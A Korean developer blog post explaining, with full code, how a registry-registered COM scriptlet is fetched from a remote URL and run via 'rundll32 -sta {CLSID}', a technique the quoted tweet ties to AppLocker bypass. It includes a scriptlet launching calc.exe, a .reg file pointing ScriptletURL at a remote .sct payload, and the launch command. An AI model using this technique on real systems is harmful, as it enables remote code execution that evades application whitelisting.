성태의 닷넷 이야기
홈 주인
모아 놓은 자료
프로그래밍
질문/답변
사용자 관리
사용자
메뉴
아티클
외부 아티클
유용한 코드
온라인 기능
MathJax 입력기
최근 덧글
[정성태] Detecting blocking calls using asyn...
[정성태] 아쉽게도, 커뮤니티는 아니고 개인 블로그입니다. ^^
[정성태] 질문이 잘 이해가 안 됩니다. 우선, 해당 소스코드에서 ILis...
[양승조
] var대신 dinamic으로 선언해서 해결은 했습니다. 맞는 해...
[양승조
] 또 막혔습니다. ㅠㅠ var list = props[i].Ge...
[양승조
] 아. 감사합니다. 어제는 안됐던것 같은데....정신을 차려야겠네...
[정성태] "props[i].GetValue(props[i])" 코드에서 ...
[정성태] 저렇게 조각 코드 말고, 실제로 재현이 되는 예제 프로젝트를 압...
[정성태] Modules 창(Ctrl+Shift+U)을 띄워서, 해당 Op...
[정성태] 만드실 수 있습니다. 단지, Unity 엔진 내의 스크립트와 W...
글쓰기
제목
이름
암호
전자우편
HTML
홈페이지
유형
제니퍼 .NET
닷넷
COM 개체 관련
스크립트
VC++
VS.NET IDE
Windows
Team Foundation Server
디버깅 기술
오류 유형
개발 환경 구성
웹
기타
Linux
Java
DDK
Math
Phone
Graphics
사물인터넷
부모글 보이기/감추기
내용
<div style='display: inline'> <h1 style='font-family: Malgun Gothic, Consolas; font-size: 20pt; color: #006699; text-align: center; font-weight: bold'>레지스트리에 등록된 원격지 스크립트 COM 객체 실행 방법</h1> <p> 오호... 트위터에서 다음의 글을 보게 되었습니다. ^^<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > @bohops ; <a target='tab' href='https://twitter.com/bohops/status/1011350358566821891'>https://twitter.com/bohops/status/1011350358566821891</a> </pre> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > Interesting way to call a COM CLSID: rundll32.exe -sta {CLSID} rundll32.exe /sta {CLSID} Use this with @subTee's #squiblydoo COM Hijack method for a default AppLocker Bypass Haven't found any sec-related resources with -sta (single threaded apartment) Anyone seen this before? </pre> <br /> 그러니까, COM 객체를 script로 만들 수 있는 기술을 마이크로소프트가 제공하는데요. (정말 오랜만에 보는 군요. scriptlet! 이젠 MSDN에서조차도 자료가 거의 남아 있지 않는데. ^^;)<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > Scriptlets ; <a target='tab' href='http://www.drdobbs.com/scriptlets/199101569'>http://www.drdobbs.com/scriptlets/199101569</a> </pre> <br /> 이 legacy가 아직도 살아있어 Windows 10에서도 동작을 하고 있습니다. 간략하게 기술해 보면, Web 상에 다음과 같은 Script 파일을 보관해 두고,<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > <?XML version="1.0"?> <scriptlet> <registration description="Scripting.Dictionary" progid="Scripting.Dictionary" version="1" classid="<span style='color: blue; font-weight: bold'>{00000000-0000-0000-0000-0000000000FF}</span>" remotable="true" > </registration> <script language="JScript"> <![CDATA[ <span style='color: blue; font-weight: bold'>var r = new ActiveXObject("WScript.Shell").Run("calc.exe");</span> ]]> </script> </scriptlet> </pre> <br /> 로컬 PC의 CLSID에 위의 scriptlet COM 객체에 명시한 classid의 값으로 다음과 같이 등록해 줍니다.<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\CLSID\{<span style='color: blue; font-weight: bold'>00000000-0000-0000-0000-0000000000FF</span>}] [HKEY_CLASSES_ROOT\CLSID\{<span style='color: blue; font-weight: bold'>00000000-0000-0000-0000-0000000000FF</span>}\InprocServer32] <span style='color: blue; font-weight: bold'>@="C:\\\\WINDOWS\\\\system32\\\\scrobj.dll"</span> [HKEY_CLASSES_ROOT\CLSID\{<span style='color: blue; font-weight: bold'>00000000-0000-0000-0000-0000000000FF</span>}\ScriptletURL] <span style='color: blue; font-weight: bold'>@="https://raw.githubusercontent.com/stjeong/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct"</span> </pre> <br /> 자, 이제 마지막으로 명령행 창을 열고 해당 COM 객체를 생성해 줍니다.<br /> <br /> <pre style='margin: 10px 0px 10px 10px; padding: 10px 0px 10px 10px; background-color: #fbedbb; overflow: auto; font-family: Consolas, Verdana;' > rundll32 -sta {00000000-0000-0000-0000-0000000000FF} </pre> <br /> 잘 실행되는군요. ^^<br /> <br /> <img onclick='toggle_img(this)' class='imgView' alt='rundll_comserver_1.png' src='/SysWebRes/bbs/rundll_comserver_1.png' /><br /> </p><br /> <br /><hr /><span style='color: Maroon'>[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]</span> </div>
첨부파일
스팸 방지용 인증 번호
5109
(왼쪽의 숫자를 입력해야 합니다.)